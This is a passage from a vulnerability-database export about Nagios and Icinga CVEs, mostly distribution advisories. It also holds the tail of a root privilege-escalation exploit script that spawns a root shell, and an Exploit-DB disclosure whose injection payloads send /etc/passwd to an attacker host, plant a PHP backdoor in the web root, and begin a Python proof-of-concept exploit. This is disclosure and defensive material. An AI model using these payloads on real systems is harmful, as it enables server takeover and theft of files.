via Nagios!\\033[0m\"\r\nelse\r\n\techo -e \"\\n[!] Failed to get root: \\n`ls -l $BACKDOORPATH`\"\r\n\tcleanexit 2\r\nfi\r\n\r\n# Use the rootshell to perform cleanup that requires root privileges\r\n$BACKDOORPATH -p -c \"rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB\"\r\nrm -f $ERRORLOG\r\necho > $ERRORLOG\r\n\r\n# Execute the rootshell\r\necho -e \"\\n[+] Nagios pwned. Spawning the rootshell $BACKDOORPATH now\\n\"\r\n$BACKDOORPATH -p -i\r\n\r\n# Job done.\r\ncleanexit 0\n ", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-92575"}], "gentoo": [{"lastseen": "2017-02-21T01:00:02", "bulletinFamily": "unix", "cvelist": ["CVE-2016-9565", "CVE-2016-9566", "CVE-2008-4796", "CVE-2008-7313", "CVE-2016-8641"], "edition": 1, "description": "### Background\n\nNagios is an open source host, service and network monitoring program.\n\n### Description\n\nMultiple vulnerabilities have been discovered in Nagios. Please review the CVE identifiers referenced below for details. \n\n### Impact\n\nA local attacker, who either is already Nagios\u2019s system user or belongs to Nagios\u2019s group, could potentially escalate privileges. \n\nIn addition, a remote attacker could read or write to arbitrary files by spoofing a crafted response from the Nagios RSS feed server. \n\n### Workaround\n\nThere is no known workaround at this time.\n\n### Resolution\n\nAll Nagios users should upgrade to the latest version:\n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose \">=net-analyzer/nagios-core-4.2.4\"", "modified": "2017-02-21T00:00:00", "published": "2017-02-21T00:00:00", "href": "https://security.gentoo.org/glsa/201702-26", "id": "GLSA-201702-26", "title": "Nagios: Multiple vulnerabilities", "type": "gentoo", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2016-09-06T19:46:08", "bulletinFamily": "unix", "cvelist": ["CVE-2013-7205", "CVE-2012-6096", "CVE-2013-7108"], "description": "### Background\n\nNagios is an open source host, service and network monitoring program.\n\n### Description\n\nMultiple vulnerabilities have been discovered in Nagios. Please review the CVE identifiers referenced below for details. \n\n### Impact\n\nA remote attacker may be able to execute arbitrary code, cause a Denial of Service condition, or obtain sensitive information. \n\n### Workaround\n\nThere is no known workaround at this time.\n\n### Resolution\n\nAll Nagios users should upgrade to the latest version:\n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose \">=net-analyzer/nagios-core-3.5.1\"", "edition": 1, "modified": "2014-12-13T00:00:00", "published": "2014-12-13T00:00:00", "id": "GLSA-201412-23", "href": "https://security.gentoo.org/glsa/201412-23", "type": "gentoo", "title": "Nagios: Multiple vulnerabilities", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2016-12-31T10:14:25", "bulletinFamily": "unix", "cvelist": ["CVE-2016-9566"], "edition": 1, "description": "### Background\n\nIcinga is an open source computer system and network monitoring application. It was originally created as a fork of the Nagios system monitoring application in 2009. \n\n### Description\n\nIcinga daemon was found to perform unsafe operations when handling the log file. \n\n### Impact\n\nA local attacker, who either is already Icinga\u2019s system user or belongs to Icinga\u2019s group, could potentially escalate privileges. \n\n### Workaround\n\nThere is no known workaround at this time.\n\n### Resolution\n\nAll Icinga users should upgrade to the latest version:\n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose \">=net-analyzer/icinga-1.13.4\"", "modified": "2016-12-31T00:00:00", "published": "2016-12-31T00:00:00", "href": "https://security.gentoo.org/glsa/201612-51", "id": "GLSA-201612-51", "type": "gentoo", "title": "Icinga: Privilege escalation", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "freebsd": [{"lastseen": "2019-05-29T18:33:31", "bulletinFamily": "unix", "cvelist": ["CVE-2013-7205", "CVE-2013-7108"], "description": "\nEric Stanley reports:\n\nMost CGIs previously incremented the input variable counter twice\n\t when it encountered a long key value. This could cause the CGI to\n\t read past the end of the list of CGI variables.\n\n", "edition": 4, "modified": "2013-12-20T00:00:00", "published": "2013-12-20T00:00:00", "id": "BA04A373-7D20-11E3-8992-00132034B086", "href": "https://vuxml.freebsd.org/freebsd/ba04a373-7d20-11e3-8992-00132034b086.html", "title": "nagios -- denial of service vulnerability", "type": "freebsd", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}], "securityvulns": [{"lastseen": "2018-08-31T11:10:50", "bulletinFamily": "software", "cvelist": ["CVE-2013-7205", "CVE-2013-7108"], "description": "\r\n\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\n _______________________________________________________________________\r\n\r\n Mandriva Linux Security Advisory MDVSA-2014:004\r\n http://www.mandriva.com/en/support/security/\r\n _______________________________________________________________________\r\n\r\n Package : nagios\r\n Date : January 16, 2014\r\n Affected: Business Server 1.0, Enterprise Server 5.0\r\n _______________________________________________________________________\r\n\r\n Problem Description:\r\n\r\n Multiple vulnerabilities has been discovered and corrected in nagios:\r\n \r\n Multiple off-by-one errors in Nagios Core 3.5.1, 4.0.2, and earlier,\r\n and Icinga before 1.8.5, 1.9 before 1.9.4, and 1.10 before 1.10.2\r\n allow remote authenticated users to obtain sensitive information from\r\n process memory or cause a denial of service (crash) via a long string\r\n in the last key value in the variable list to the process_cgivars\r\n function in (1) avail.c, (2) cmd.c, (3) config.c, (4) extinfo.c,\r\n (5) histogram.c, (6) notifications.c, (7) outages.c, (8) status.c,\r\n (9) statusmap.c, (10) summary.c, and (11) trends.c in cgi/, which\r\n triggers a heap-based buffer over-read (CVE-2013-7108).\r\n \r\n Off-by-one error in the process_cgivars function in contrib/daemonchk.c\r\n in Nagios Core 3.5.1, 4.0.2, and earlier allows remote authenticated\r\n users to obtain sensitive information from process memory or cause\r\n a denial of service (crash) via a long string in the last key value\r\n in the variable list, which triggers a heap-based buffer over-read\r\n (CVE-2013-7205).\r\n \r\n The updated packages have been patched to correct these issues.\r\n _______________________________________________________________________\r\n\r\n References:\r\n\r\n http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-7108\r\n http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-7205\r\n _______________________________________________________________________\r\n\r\n Updated Packages:\r\n\r\n Mandriva Enterprise Server 5:\r\n b0f9766b9c800cabc2d48c3cd6a0d754 mes5/i586/nagios-3.1.2-0.5mdvmes5.2.i586.rpm\r\n 250e0e806816abe05be0d6492800d15c mes5/i586/nagios-devel-3.1.2-0.5mdvmes5.2.i586.rpm\r\n 4e38af03680cdaf6943a3cda473147e7 mes5/i586/nagios-theme-default-3.1.2-0.5mdvmes5.2.i586.rpm\r\n 1b34d425d31cd67ce1e119dbbe1d2a34 mes5/i586/nagios-www-3.1.2-0.5mdvmes5.2.i586.rpm \r\n 54aa5cd353453a0400674ab7d92b3154 mes5/SRPMS/nagios-3.1.2-0.5mdvmes5.2.src.rpm\r\n\r\n Mandriva Enterprise Server 5/X86_64:\r\n b748f8bd42b90b12d57370aabfef21b9 mes5/x86_64/nagios-3.1.2-0.5mdvmes5.2.x86_64.rpm\r\n 346d9552cc42bd664e99006bcfd15730 mes5/x86_64/nagios-devel-3.1.2-0.5mdvmes5.2.x86_64.rpm\r\n 4cb14dea2cf09787d2d187969cc00590 mes5/x86_64/nagios-theme-default-3.1.2-0.5mdvmes5.2.x86_64.rpm\r\n d66f5f485845c0039d8083d0af38379f mes5/x86_64/nagios-www-3.1.2-0.5mdvmes5.2.x86_64.rpm \r\n 54aa5cd353453a0400674ab7d92b3154 mes5/SRPMS/nagios-3.1.2-0.5mdvmes5.2.src.rpm\r\n\r\n Mandriva Business Server 1/X86_64:\r\n 25b21259455d7fd14f58191c136490d5 mbs1/x86_64/nagios-3.4.4-4.1.mbs1.x86_64.rpm\r\n 368959c2c78bd6bf48ed10d84e440d0c mbs1/x86_64/nagios-devel-3.4.4-4.1.mbs1.x86_64.rpm\r\n cfd069de34d3de15f7b80bb5ffb07d8c mbs1/x86_64/nagios-www-3.4.4-4.1.mbs1.x86_64.rpm \r\n 4db6f650ab30c32be4a7ab574d0c8225 mbs1/SRPMS/nagios-3.4.4-4.1.mbs1.src.rpm\r\n _______________________________________________________________________\r\n\r\n To upgrade automatically use MandrivaUpdate or urpmi. The verification\r\n of md5 checksums and GPG signatures is performed automatically for you.\r\n\r\n All packages are signed by Mandriva for security. You can obtain the\r\n GPG public key of the Mandriva Security Team by executing:\r\n\r\n gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98\r\n\r\n You can view other update advisories for Mandriva Linux at:\r\n\r\n http://www.mandriva.com/en/support/security/advisories/\r\n\r\n If you want to report vulnerabilities, please contact\r\n\r\n security_(at)_mandriva.com\r\n _______________________________________________________________________\r\n\r\n Type Bits/KeyID Date User ID\r\n pub 1024D/22458A98 2000-07-10 Mandriva Security Team\r\n <security*mandriva.com>\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.12 (GNU/Linux)\r\n\r\niD4DBQFS19vmmqjQ0CJFipgRAlFYAJ9xfMNIFUkECvfs5uTpy97yRE31VwCXcVjC\r\n8WDQGFeiI1jbLTbleK4TBg==\r\n=DSkb\r\n-----END PGP SIGNATURE-----\r\n", "edition": 1, "modified": "2014-01-19T00:00:00", "published": "2014-01-19T00:00:00", "id": "SECURITYVULNS:DOC:30248", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:30248", "title": "[ MDVSA-2014:004 ] nagios", "type": "securityvulns", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:PARTIAL/"}}, {"lastseen": "2018-08-31T11:10:52", "bulletinFamily": "software", "cvelist": ["CVE-2013-7106", "CVE-2013-7107", "CVE-2014-1878", "CVE-2014-2386", "CVE-2013-7108"], "description": "\r\n\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\n- -------------------------------------------------------------------------\r\nDebian Security Advisory DSA-2956-1 security@debian.org\r\nhttp://www.debian.org/security/ Moritz Muehlenhoff\r\nJune 11, 2014 http://www.debian.org/security/faq\r\n- -------------------------------------------------------------------------\r\n\r\nPackage : icinga\r\nCVE ID : CVE-2013-7106 CVE-2013-7107 CVE-2013-7108 CVE-2014-1878 \r\n CVE-2014-2386\r\n\r\nMultiple security issues have been found in the Icinga host and network\r\nmonitoring system (buffer overflows, cross-site request forgery, off-by\r\nones) which could result in the execution of arbitrary code, denial of\r\nservice or session hijacking.\r\n\r\nFor the stable distribution (wheezy), these problems have been fixed in\r\nversion 1.7.1-7.\r\n\r\nFor the testing distribution (jessie), these problems have been fixed in\r\nversion 1.11.0-1.\r\n\r\nFor the unstable distribution (sid), these problems have been fixed in\r\nversion 1.11.0-1.\r\n\r\nWe recommend that you upgrade your icinga packages.\r\n\r\nFurther information about Debian Security Advisories, how to apply\r\nthese updates to your system and frequently asked questions can be\r\nfound at: http://www.debian.org/security/\r\n\r\nMailing list: debian-security-announce@lists.debian.org\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1\r\n\r\niQIcBAEBAgAGBQJTmGiJAAoJEBDCk7bDfE42ht8QALgnGvSkYNUNH1hGAkLs5k8U\r\nUaclxk+kZl/m4sx1w1si/iF/XWMmq1+A3ptsByMXSq2dyrtqBP6Y9aJX0UU0Yyep\r\nFvMP1XjFY+ooVVv0Yhd5nagtCreIVj/Q/bhgIxOV6b55BJaCiuOueFpRRNVX17IL\r\npg04TDgeKmzC3Rk4FK64fvWWoj99UnQu3D2QqToeeQfArkj+6jUGCvmcPi0c95wd\r\necVZxmPaFdLkzzjLTDMN+vR4v4d5EtvGi1sLvind5ceuhzh8OMfv+j2H1Omv/w+P\r\nFz+vMwS6iUaOpVDo4e2uNMIR2Aa/pbGXDEC0kXj2eEdgOrh+2tSgeHNQ6sDcpKbW\r\nrMl2iMJC930WI4u6t0thLYTYpul53gAKpQzeK4kT/24HdpPCknqxn0pbTnMEXfZC\r\npJri0jvZtoWpMpmUXLIhpTKHreR6/v7Fz17ZshlUuJfi11e6l6y5vEFZko/5KZxD\r\nqEtfD3OeQhKO7Y55gsCf3r7SEDLSNDbfYqYn2Qv4b0QDPYjlZNZLXr2ldzHF7D2h\r\nq0ysFko6vOcgneNPCvd8joil7vgZGLSRIpgYEB9G2uBIgEaCV0/n6v5pJ5E2dyBu\r\n336ggdK9sojNvor7yzKKNs/uApD0nhR6vJS46JSVAVijIUmoLTepgEbPzdn/kGKa\r\n1MoybG+77CBL9visVFUF\r\n=155r\r\n-----END PGP SIGNATURE-----\r\n\r\n", "edition": 1, "modified": "2014-06-14T00:00:00", "published": "2014-06-14T00:00:00", "id": "SECURITYVULNS:DOC:30828", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:30828", "title": "[SECURITY] [DSA 2956-1] icinga security update", "type": "securityvulns", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2018-08-31T11:10:52", "bulletinFamily": "software", "cvelist": ["CVE-2013-7108"], "description": "\r\n\r\nDeutsche Telekom CERT Advisory [DTC-A-20140324-004]\r\n\r\nSummary:\r\nAn Off-by-one memory access was found in the web gui of nagios.\r\n\r\nA patch was applied to the core master branch of nagios (http://sourceforge.net/p/nagios/nagioscore/ci/d97e03f32741a7d851826b03ed73ff4c9612a866/).\r\nThis resolution is announced to be rolled into the 4.0.3 version of Nagios Core once testing has been completed.\r\n\r\nThere has been no feedback regarding the Version 3.5 branch of nagios, but the current sources seem to indicate that the issue was patched in version 3.5 as well. The issue should be fixed in the next release.\r\n\r\nHomepage: http://www.nagios.org/\r\n\r\nRecommendations:\r\nBug fixes in the source code available. Install updated packages as soon these packages are available. \r\n\r\nDetails:\r\na) application\r\nb) problem\r\nc) CVSS\r\nd) detailed description\r\n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\na1) Nagios 3.5.0 [CVE-2013-7108]\r\nb1) Off-by-one memory access\r\nc1) 4.9 AV:N/AC:M/Au:S/C:P/I:N/A:P\r\nd1) The icinga and nagios web gui are susceptible to an "off-by-one read" error, which is resulting from an improper assumption in the handling of user submitted CGI parameters. To prevent buffer overflow attacks against the web gui, icinga/nagios checks for valid string length of user submitted parameters. Any parameter, which is bigger than MAX_INPUT_BUFFER-1 characters long will be discarded. However, by sending a specially crafted cgi parameter, the check routine can be forced to skip the terminating null pointer and read the heap address right after the end of the parameter list. Depending on the memory layout, this may result in a memory corruption condition/crash or reading of sensitive memory locations.\r\n\r\nDeutsche Telekom CERT\r\nLandgrabenweg 151, 53227 Bonn, Germany\r\n+49 800 DTAG CERT (Tel.)\r\nE-Mail: cert@telekom.de\r\nLife is for sharing.\r\n \r\nDeutsche Telekom AG\r\nSupervisory Board: Prof. Dr. Ulrich Lehner (Chairman)\r\nBoard of Management: Timotheus Hottges (Chairman),\r\nDr. Thomas Kremer, Reinhard Clemens, Niek Jan van Damme,\r\nThomas Dannenfeldt, Claudia Nemat, Prof. Dr. Marion Schick\r\nCommercial register: Amtsgericht Bonn HRB 6794\r\nRegistered office: Bonn\r\n \r\nBig changes start small \u2013 conserve resources by not printing every e-mail.\r\n\r\n", "edition": 1, "modified": "2014-05-05T00:00:00", "published": "2014-05-05T00:00:00", "id": "SECURITYVULNS:DOC:30630", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:30630", "title": "Deutsche Telekom CERT Advisory [DTC-A-20140324-004] nagios vulnerability", "type": "securityvulns", "cvss": {"score": 5.5, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:PARTIAL/I:NONE/A:PARTIAL/"}}, {"lastseen": "2018-08-31T11:10:00", "bulletinFamily": "software", "cvelist": ["CVE-2014-5008"], "description": "No description provided", "edition": 1, "modified": "2015-05-05T00:00:00", "published": "2015-05-05T00:00:00", "id": "SECURITYVULNS:VULN:14434", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:14434", "title": "libphp-snoopy code execution", "type": "securityvulns", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2018-08-31T11:10:58", "bulletinFamily": "software", "cvelist": ["CVE-2014-5008"], "description": "\r\n\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\n- -------------------------------------------------------------------------\r\nDebian Security Advisory DSA-3248-1 security@debian.org\r\nhttp://www.debian.org/security/ Moritz Muehlenhoff\r\nMay 02, 2015 http://www.debian.org/security/faq\r\n- -------------------------------------------------------------------------\r\n\r\nPackage : libphp-snoopy\r\nCVE ID : CVE-2014-5008\r\n\r\nIt was discovered that missing input saniting in Snoopy, a PHP class that\r\nsimulates a web browser may result in the execution of arbitrary\r\ncommands.\r\n\r\nFor the oldstable distribution (wheezy), this problem has been fixed\r\nin version 2.0.0-1~deb7u1.\r\n\r\nFor the stable distribution (jessie), this problem was fixed before\r\nthe initial release.\r\n\r\nFor the unstable distribution (sid), this problem has been fixed in\r\nversion 2.0.0-1.\r\n\r\nWe recommend that you upgrade your libphp-snoopy packages.\r\n\r\nFurther information about Debian Security Advisories, how to apply\r\nthese updates to your system and frequently asked questions can be\r\nfound at: https://www.debian.org/security/\r\n\r\nMailing list: debian-security-announce@lists.debian.org\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1\r\n\r\niQIcBAEBAgAGBQJVROUMAAoJEBDCk7bDfE42XrEP/16o0GPydhCLM42QV9MrMf+Y\r\n09vmbl89bRhM84WVAtCRu9ERODWVBujyQiXziHJQD7ZZR/p/8zcJmfkAv7uNyJSh\r\nyzlVjo2YZz7j+IBWxNIqDzD+fngbeWrYlOnWD8agKXHsqoRdoa3veEuMQMj/fNkj\r\nZcfdT1b8mtim93m09sDfvuWuXJ08OkPcDcJRG5qksYMVRW7CYuzM/8kMLWQ65cLz\r\nEp0rIiQckrYZekWVxxZhWCd3Ks334pI1B4SzoUmosLLW7CnymlTl6aY0x/W9NeU+\r\nQFTz5EUJ/kWXapFH0HaT6nr0/D2bxvbWGye0s4zvN0ZLbIaStB3HfQyk3utPEcdt\r\nPHiWW/RodsT8yMbTWSO/B0V+1uwO1nEQl7ng6+/nApg0Idi8JpSB26n7Mf794Nzk\r\n0ms/fYsjPqyamB3+AsVSqIf/yqeH0YkmK4TIdNbQIvc55HQ/OXGPeW5SiU0M4RaB\r\n7Nv3psV7rjdE1rcgkpYmb0L1RstFmTnoygfDVZtrNgT5nk37MkdUnN5JwXtMzw0e\r\nTZ5Mfn3NAMqnCQOWZOG37pnYU4LbGMLGkZUAoPiXPxoH1iKyK+nHyZmzzvLalm+r\r\nG+riXBYU2cOOV3zlGF6HjuHVeqmmETxRCPIhREZw6vXj9GwpLO4H0NjjjPy4k7yg\r\nQeP1pJ9j8+2G5qTciLOH\r\n=bgHd\r\n-----END PGP SIGNATURE-----\r\n\r\n", "edition": 1, "modified": "2015-05-05T00:00:00", "published": "2015-05-05T00:00:00", "id": "SECURITYVULNS:DOC:31982", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:31982", "title": "[SECURITY] [DSA 3248-1] libphp-snoopy security update", "type": "securityvulns", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "exploitdb": [{"lastseen": "2016-12-15T17:58:40", "description": "Nagios Core < 4.2.2 - Curl Command Injection / Remote Code Execution. CVE-2016-9565. Remote exploit for Linux platform. Tags: Remote", "published": "2016-12-15T00:00:00", "type": "exploitdb", "title": "Nagios Core < 4.2.2 - Curl Command Injection / Remote Code Execution", "bulletinFamily": "exploit", "cvelist": ["CVE-2016-9565", "CVE-2016-9566", "CVE-2008-4796"], "modified": "2016-12-15T00:00:00", "id": "EDB-ID:40920", "href": "https://www.exploit-db.com/exploits/40920/", "sourceData": "'''\r\nSource: https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html\r\n\r\n=============================================\r\n- Discovered by: Dawid Golunski\r\n- dawid[at]legalhackers.com\r\n- https://legalhackers.com\r\n\r\n- CVE-2016-9565\r\n- Release date: 13.12.2016\r\n- Revision 2.0\r\n- Severity: High / Critical\r\n=============================================\r\n\r\n\r\nI. VULNERABILITY\r\n-------------------------\r\n\r\nNagios Core < 4.2.2 Curl Command Injection / Remote Code Execution\r\n\r\n\r\nII. BACKGROUND\r\n-------------------------\r\n\r\n\"Nagios Is The Industry Standard In IT Infrastructure Monitoring\r\n\r\nAchieve instant awareness of IT infrastructure problems, so downtime doesn't \r\nadversely affect your business.\r\n\r\nNagios offers complete monitoring and alerting for servers, switches, \r\napplications, and services.\"\r\n\r\nhttps://www.nagios.org/\r\n\r\n\r\nIII. INTRODUCTION\r\n-------------------------\r\n\r\nNagios Core comes with a PHP/CGI front-end which allows to view status\r\nof the monitored hosts.\r\nThis front-end contained a Command Injection vulnerability in a RSS feed reader\r\nclass that loads (via insecure clear-text HTTP or HTTPS accepting self-signed \r\ncertificates) the latest Nagios news from a remote RSS feed (located on the \r\nvendor's server on the Internet) upon log-in to the Nagios front-end.\r\nThe vulnerability could potentially enable remote unauthenticated attackers who\r\n managed to impersonate the feed server (via DNS poisoning, domain hijacking, \r\nARP spoofing etc.), to provide a malicious response that injects parameters to \r\ncurl command used by the affected RSS client class and effectively \r\nread/write arbitrary files on the vulnerable Nagios server.\r\nThis could lead to Remote Code Execution in the context of www-data/nagios user\r\non default Nagios installs that follow the official setup guidelines.\r\n\r\nIV. DESCRIPTION\r\n-------------------------\r\n\r\n\r\nVulnerability\r\n~~~~~~~~~~~~~~~\r\n\r\nThe vulnerability was caused by the use of a vulnerable component for handling \r\nRSS news feeds - MagpieRSS in Nagios Core control panel / front-end.\r\nThe component was used by Nagios front-end to load news feeds from remote\r\nfeed source upon log-in.\r\nThe component was found vulnerable to CVE-2008-4796. \r\n\r\nBelow are relevant parts of code from the vulnerable RSS class:\r\n\r\n----------------------------------------------------\r\n\r\nfunction fetch($URI)\r\n{\r\n...\r\n\tcase \"https\":\r\n\t\t...\r\n\t\t$path = $URI_PARTS[\"path\"].($URI_PARTS[\"query\"] ? \"?\".$URI_PARTS[\"query\"] : \"\");\r\n\t\t$this->_httpsrequest($path, $URI, $this->_httpmethod);\r\n\t\t...\r\n}\r\n...\r\nfunction _httpsrequest($url,$URI,$http_method,$content_type=\"\",$body=\"\")\r\n{\r\n\t# accept self-signed certs\r\n\t$cmdline_params .= \" -k\"; \r\n\texec($this->curl_path.\" -D \\\"/tmp/$headerfile\\\"\".escapeshellcmd($cmdline_params).\" \".escapeshellcmd($URI),$results,$return);\r\n\r\n---------------------------------------------------------\r\n\r\n\r\nAs can be seen, the _httpsrequest function uses a curl command to handle HTTPS \r\nrequests. The sanitization used to escape $URI did not prevent injection of \r\nadditional parameters to curl command which made it possible to, for example, get \r\ncurl to write out the https response to an arbitrary file with the $URI:\r\n\r\nhttps://attacker-svr -o /tmp/result_file\r\n\r\nThe vulnerability was reported to Nagios security team. \r\nNagios 4.2.0 was released which contained the following fix for CVE-2008-4796:\r\n\r\n---------------------------------------------------------\r\n\r\n# accept self-signed certs\r\n$cmdline_params .= \" -k\"; \r\nexec($this->curl_path.\" -D \\\"/tmp/$headerfile\\\"\".$cmdline_params.\" \\\"\".escapeshellcmd($URI).\"\\\"\",$results,$return);\r\n\r\n---------------------------------------------------------\r\n\r\nFurther research found the fix to be incomplete as the extra sanitization\r\nby the above patch could be bypassed by adding extra quote characters in\r\nthe $URI variable e.g:\r\n\r\nhttps://attacker-svr\" -o /tmp/nagioshackedagain \"\r\n\r\nThis vulnerability has been assigned CVE-2016-9565 and was addressed by Nagios\r\nteam in the new release of Nagios 4.2.2 by removing the vulnerable class.\r\n\r\n\r\nInjection Point / Controling $URI var\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\r\nThe affected versions of Nagios Core front-end contain three files that trigger\r\nthe _httpsrequest() function with the injectable curl command shown above:\r\n\r\n- rss-corefeed.php\r\n- rss-corebanner.php\r\n- rss-newsfeed.php\r\n\r\nThese are used to fetch news via an RSS feed from www.nagios.org website via\r\nHTTP or HTTPS (see the notes below) protocols.\r\nThe news are displayed on the Home page of the Nagios front-end upon log-in.\r\n\r\nAll 3 scripts call fetch_rss() as follows:\r\n\r\n------[ rss-corefeed.php ]------\r\n\r\n<?php\r\n\r\n//build splash divs to ajax load\r\ndo_corefeed_html();\r\n\r\nfunction do_corefeed_html() {\r\n\r\n $url=\"http://www.nagios.org/backend/feeds/corepromo\";\r\n $rss=fetch_rss($url);\r\n $x=0;\r\n //build content string\r\n if($rss) {\r\n $html =\"\r\n <ul>\";\r\n\r\n foreach ($rss->items as $item){\r\n $x++;\r\n if($x>3)\r\n break;\r\n //$href = $item['link'];\r\n //$title = $item['title'];\r\n $desc = $item['description'];\r\n $html .=\"<li>{$item['description']}</li>\";\r\n }\r\n $html .=\"</ul>\";\r\n\r\n print $html;\r\n\r\n--------------------------------\r\n\r\n\r\nAn attacker who managed to impersonate www.nagios.org domain and respond to the web \r\nrequest made by the fetch_rss() function could send a malicious 302 redirect to set \r\n$URI variable from the _httpsrequest() function to an arbitrary value and thus\r\ncontrol the curl command parameters.\r\n\r\nFor example, the following redirect:\r\n\r\nLocation: https://attackers-host/get-data.php -Fpasswd=@/etc/passwd\r\n\r\nwould execute curl with the parameters:\r\n\r\ncurl -D /tmp/$headerfile https://attackers-host/get-data.php -Fpasswd=@/etc/passwd\r\n\r\nand send the contents of the pnsswd file from the Nagios system to the attacker's \r\nserver in a POST request.\r\n\r\n\r\nAttack Vectors\r\n~~~~~~~~~~~~~~~~~~\r\n\r\nIn order to supply a malicious response to fetch_rss() the attacker would\r\nneed to impersonate the www.nagios.org domain in some way. \r\nWell-positioned attackers within the target's network could try network\r\nattacks such as DNS spoofing, ARP poisoning etc.\r\n\r\nA compromised DNS server/resolver within an organisation could be used by \r\nattackers to exploit the Nagios vulnerability to gain access to the monitoring\r\nserver.\r\n\r\nThe vulnerability could potentially become an Internet threat and be used to \r\nexploit a large number of affected Nagios installations in case of a compromise \r\nof a DNS server/resolver belonging to a large-scale ISP.\r\n\r\n\r\nNotes\r\n~~~~~~~~~~~~~~~~~~\r\n\r\n[*] Nagios front-end in versions <= 4.0.5 automatically load the rss-*.php files \r\nupon login to the Nagios control panel. Later versions contain the \r\nvulnerable scripts but do not load them automatically. \r\nOn such installations an attacker could still be successful in one of the cases:\r\n\r\na) if attacker had low-privileged access (guest/viewer account) to the control \r\npanel and was able to execute /nagios/rss-newsfeed.php script\r\n\r\nb) perform a CSRF attack / entice a logged-in nagios user to open the URL:\r\n http://nagios-server/nagios/rss-newsfeed.php\r\n\r\nc) well-positioned attackers on the network might be able to modify the\r\ntraffic and inject a redirect to /rss-newsfeed.php script when Nagios control \r\npanel is accessed via HTTP by an authenticated user\r\n\r\n\r\n[*] The rss-*.php scripts in Nagios Core >=4.0.8 use HTTPS to fetch news feeds \r\nhowever as has been previously shown in _httpsrequest() function, the curl\r\ncommand gets passed a '-k' (--insecure) parameter which accepts self-signed\r\ncertificates.\r\n\r\n\r\nArbitrary Code Execution\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\r\nNagios Core installations that follow the official installation guidelines:\r\n\r\nhttps://assets.nagios.com/downloads/nagioscore/docs/Installing_Nagios_Core_From_Source.pdf\r\n\r\nas well as the commercial Nagios VMs available for purchase on the vendor website\r\nmake the web-server user (www-data) part of the 'nagios' group which has\r\nwrite access to the web document root (/usr/local/nagios/share).\r\n\r\nThis can allow attackers who manage to exploit the vulnerability and \r\ninject parameters to curl command to save a PHP backdoor within the document\r\nroot via a 302 redirect similar to:\r\n\r\nLocation: http://attacker/php-backdoor.php --trace-ascii /usr/local/nagios/share/nagios-backdoor.php\r\n\r\nand have it executed automatically upon a log-in to the Nagios control panel via html/JS code \r\nsnippet returned as a part of the RSS feed as demonstrated by the PoC exploit below. \r\n\r\nThe privileges could then be raised from nagios user to root via another Nagios\r\nvulnerability discovered by the author of this advisory CVE-2016-9566:\r\n\r\nhttp://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html\r\n\r\n\r\nV. PROOF OF CONCEPT\r\n-------------------------\r\n\r\nBelow is an exploit that demonstrates reading, writing, and code execution\r\non affected Nagios installations.\r\nThe attack flow is as follows:\r\n\r\nFor simplicity, to test the attack vector, a static DNS entry can be added\r\ninside the /etc/hosts file on the victim Nagios server to point the\r\nwww.nagios.org domain at an attacker's IP where the exploit is executed.\r\n\r\n\r\n----------[ nagios_cmd_injection.py ]----------\r\n'''\r\n\r\n#!/usr/bin/env python\r\nintro = \"\"\"\\033[94m\r\nNagios Core < 4.2.0 Curl Command Injection / Code Execution PoC Exploit \r\nCVE-2016-9565\r\nnagios_cmd_injection.py ver. 1.0\r\n\r\nDiscovered & Coded by:\r\n\r\nDawid Golunski\r\nhttps://legalhackers.com\r\n\\033[0m\r\n\"\"\"\r\nusage = \"\"\"\r\nThis PoC exploit can allow well-positioned attackers to extract and write \r\narbitrary files on the Nagios server which can lead to arbitrary code execution\r\non Nagios deployments that follow the official Nagios installation guidelines. \r\n\r\nFor details, see the full advisory 